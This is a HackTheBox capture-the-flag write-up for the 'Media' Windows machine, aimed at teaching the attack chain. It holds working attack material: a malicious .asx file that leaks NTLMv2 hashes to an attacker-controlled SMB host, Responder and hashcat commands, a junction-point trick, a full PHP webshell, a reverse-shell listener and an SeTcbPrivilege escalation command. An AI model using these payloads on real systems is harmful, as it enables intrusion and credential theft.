← Back to writeups

Media — NTLM Hash Capture via Malicious ASX File and SeTcbPrivilege Escalation

Introduction

Media is a Medium Windows machine on HackTheBox that chains two elegant attack primitives that are often overlooked in day-to-day security testing.

The foothold exploits a subtle property of Windows Media Player: when a server-side process opens a specially crafted .asx playlist file containing a UNC path, the machine automatically initiates an SMB authentication back to the attacker — leaking an NTLMv2 hash in the process.

The privilege escalation combines two techniques: Windows Junction Points (a type of filesystem symlink) to redirect file uploads into the web root, and SeTcbPrivilege abuse to add our user to the Administrators group without needing a direct shell as SYSTEM.

If you’ve never heard of any of these, this machine is a goldmine. By the end you’ll understand a class of vulnerability that still catches real-world environments off guard.

Attack Chain Summary

Nmap → SSH / HTTP / RDP (Windows)

Web enum → File upload form (Windows Media Player hint)

Craft malicious .asx file with UNC path → Upload

Responder captures NTLMv2 hash for MEDIA\enox

hashcat cracks: enox:1234virus@

SSH as enox → user.txt

Read index.php → upload path = C:/Windows/Tasks/Uploads/MD5(name+email)/

Create Junction Point: MD5 folder → C:\xampp\htdocs (web root)

Upload PHP webshell → lands in web root → RCE as NT AUTHORITY\LOCAL SERVICE

LOCAL SERVICE has SeTcbPrivilege → seTcb.exe adds enox to Administrators

Re-SSH as enox (now Admin) → root.txt

Reconnaissance

Nmap

sudo nmap -sS -sV -sC 10.129.234.67
nmap -p- 10.129.234.67
  • -sS — SYN scan (stealthy, fast, doesn’t complete the TCP handshake)
  • -sV — Service version detection (identifies software running on each port)
  • -sC — Default scripts (runs Nmap’s built-in scripts for banner grabbing, cert info, etc.)
  • -p- — Scan all 65535 ports (the first command only scans the top 1000 by default)

Results:

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
80/tcp   open  http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Three ports to note:

PortServiceWhat it means
22SSHRemote shell — valid credentials get us in
80HTTPApache + PHP on Windows (XAMPP stack likely)
3389RDPRemote Desktop — another way in if we have credentials

The RDP banner leaks the machine name MEDIA and confirms Windows Server (product version 10.0.20348 = Server 2022). The HTTP stack — Apache on Win64 with PHP — screams XAMPP.

Web Enumeration

# Directory bruteforce
ffuf -u http://media.htb/FUZZ/ \
     -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
     -mc 200,301,302 -t 50

# File discovery
ffuf -u http://media.htb/FUZZ \
     -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
     -mc 200,301,302,403 -e .php,.bak,.old,.txt,.config -t 50
  • -mc 200,301,302 — match these HTTP status codes (200 = found, 301/302 = redirect)
  • -e .php,.bak,.old — also try these file extensions
  • -t 50 — use 50 parallel threads for speed

Nothing spectacular from the automated scan. The interesting stuff comes from reading the page manually.

The site is “ProMotion Studio” — a fictional web design agency. At the bottom there’s a job application form with this field:

<input type="file" name="fileToUpload" accept="video/*">

With the description: “Upload a brief introduction video (compatible with Windows Media Player)”.

That last part — “compatible with Windows Media Player” — is the hint. Why would a modern web form mention WMP specifically? This is the attack vector.

Foothold — NTLMv2 Hash Capture via Malicious ASX File

What is an ASX file?

An .asx file is a Windows Media Player playlist — it’s XML that tells WMP which media file to open next. Crucially, it supports UNC paths (\\server\share\file).

When a Windows process (like a server-side media processor or WMP) opens an .asx file pointing to a UNC path on a remote server, the OS automatically attempts to authenticate via SMB to that server. This is standard Windows behavior — SMB authentication happens transparently.

The problem: this authentication sends an NTLMv2 hash to whoever controls the remote server. If you’re running Responder (a tool that pretends to be an SMB server), you capture it.

Step 1 — Create the malicious ASX file

<asx version="3.0">
    <title>Leak</title>
    <entry>
        <title></title>
        <ref href="file://10.10.15.86\test\1.mp3"/>
    </entry>
</asx>

Replace 10.10.15.86 with your VPN IP (tun0). The path \test\1.mp3 doesn’t need to exist — the authentication happens before the OS tries to read the file.

Step 2 — Start Responder

Responder is a poisoning tool that responds to LLMNR/NBT-NS/mDNS broadcasts and also acts as a rogue SMB/HTTP server to capture credentials.

sudo responder -I tun0
  • -I tun0 — listen on the VPN interface

Step 3 — Upload the ASX file

Submit the form at http://media.htb/ with the .asx file as the “video”. The server-side code processes the upload, opens the file, and WMP (or a similar handler) triggers the UNC path resolution.

Responder catches the authentication attempt:

[SMB] NTLMv2-SSP Client   : 10.129.234.67
[SMB] NTLMv2-SSP Username : MEDIA\enox
[SMB] NTLMv2-SSP Hash     : enox::MEDIA:cd37acae69ab52cc:820A80A170EB61EC...

Step 4 — Crack the hash

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
  • -m 5600 — hash type for NTLMv2-SSP (NetNTLMv2)
  • hash.txt — file containing the full hash string from Responder

Result:

MEDIA\enox : 1234virus@

Step 5 — SSH in

ssh enox@10.129.234.67
enox@MEDIA C:\Users\enox>whoami
media\enox

enox@MEDIA C:\Users\enox\Desktop>type user.txt
[redacted]

Enumeration — Understanding the Upload Mechanism

Once inside, explore the web application source:

enox@MEDIA C:\xampp\htdocs>type index.php

The relevant PHP logic:

$uploadDir = 'C:/Windows/Tasks/Uploads/';

$folderName = md5($firstname . $lastname . $email);
$targetDir  = $uploadDir . $folderName . '/';

if (!file_exists($targetDir)) {
    mkdir($targetDir, 0777, true);
}

$sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);
$targetFile = $targetDir . $sanitizedFilename;

move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile);

Key takeaways:

  1. Files are stored in C:\Windows\Tasks\Uploads\<MD5>\filename
  2. The MD5 is deterministic — it’s computed from firstname + lastname + email (no randomness)
  3. The file extension is NOT filtered — .php files are accepted
  4. The upload directory is writable by the Apache service account

If we can control where <MD5> points on disk, we can write anywhere Apache can write.

Privilege Escalation — Junction Point + PHP Webshell + SeTcbPrivilege

The plan

A Windows Junction Point is like a symlink for directories. If we replace the <MD5> upload folder with a junction pointing to C:\xampp\htdocs (the web root), every file uploaded via the form will land directly in the web root — as a PHP file accessible via the browser.

Step 1 — Compute the target MD5

Use PHP’s interactive shell to compute the MD5 for the form values we’ll use:

php -a

php > $firstname = "a";
php > $lastname  = "a";
php > $email     = "a@a.com";
php > echo md5($firstname . $lastname . $email);
566537929bb692f41c445544ead8f0e8

Step 2 — Remove the existing folder and create the Junction Point

# Delete the real upload folder for our MD5
Remove-Item C:\Windows\Tasks\Uploads\566537929bb692f41c445544ead8f0e8\ -Recurse

# Create a Junction Point in its place, targeting the web root
New-Item -ItemType Junction `
         -Path   "C:\Windows\Tasks\Uploads\566537929bb692f41c445544ead8f0e8" `
         -Target "C:\xampp\htdocs"

New-Item -ItemType Junction creates a directory junction — from this moment on, any write to the source path transparently writes to the target path.

Step 3 — Upload the PHP webshell

Create a file named webby.php:

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>

Submit it via the form with firstname=a, lastname=a, email=a@a.com. The PHP code computes the same MD5, follows the junction, and writes webby.php into C:\xampp\htdocs.

Step 4 — Get a reverse shell

Visit http://media.htb/webby.php and execute a PowerShell reverse shell payload. Catch it with:

nc -lvnp 4444
  • -l — listen mode
  • -v — verbose
  • -n — no DNS resolution
  • -p 4444 — port to listen on
PS C:\xampp\htdocs> whoami
nt authority\local service

We’re running as NT AUTHORITY\LOCAL SERVICE — the account Apache uses. Now check privileges:

PS C:\xampp\htdocs> whoami /priv

Privilege Name                Description
============================= ===================================
SeTcbPrivilege                Act as part of the operating system  [Disabled]
SeChangeNotifyPrivilege       Bypass traverse checking              [Enabled]
SeCreateGlobalPrivilege       Create global objects                 [Enabled]

What is SeTcbPrivilege?

SeTcbPrivilege — “Act as part of the operating system” — is one of the most powerful privileges in Windows. It allows a process to create tokens for any user, impersonate any account, and run code as SYSTEM. It’s typically held only by SYSTEM itself and a handful of critical services.

Here, the Apache service account has it — a serious misconfiguration.

Step 5 — Abuse SeTcbPrivilege with seTcb.exe

The tool seTcb.exe exploits this privilege to run arbitrary commands in a privileged context:

.\seTcb.exe elevate 'net localgroup Administrators enox /add'

This adds enox to the local Administrators group.

Step 6 — Re-authenticate and read root

Disconnect the SSH session and reconnect. A new session will pick up the group membership:

ssh enox@10.129.234.67
enox@MEDIA C:\Users\enox>cd ..\administrator
enox@MEDIA C:\Users\Administrator\Desktop>type root.txt
[redacted]

Flags

User flag : [redacted]
Root flag : [redacted]

Key Takeaways

  • ASX/WMV files can leak NTLMv2 hashes — any server-side process that opens a Windows Media file with a UNC path will trigger an outbound SMB authentication. Responder makes this trivially capturable. This applies beyond .asx.wax, .wvx, and other WMP formats share the same behavior.

  • NTLMv2 hashes are crackable offline — once captured, the hash can be cracked with hashcat without any further interaction with the target. Strong passwords matter; 1234virus@ should not exist in 2026.

  • Windows Junction Points are a dangerous file-write primitive — if an application writes files to a directory you can replace with a junction, you control where those files land. This pattern appears repeatedly in Windows privilege escalation.

  • Service account privileges deserve the same scrutiny as user privilegesSeTcbPrivilege on the Apache service account is a configuration error that bypasses all other access controls on the machine.

  • Source code review is essential for escalation — without reading index.php, the Junction Point path would not be obvious. Whenever you have file read access to web application source, read it.

Resources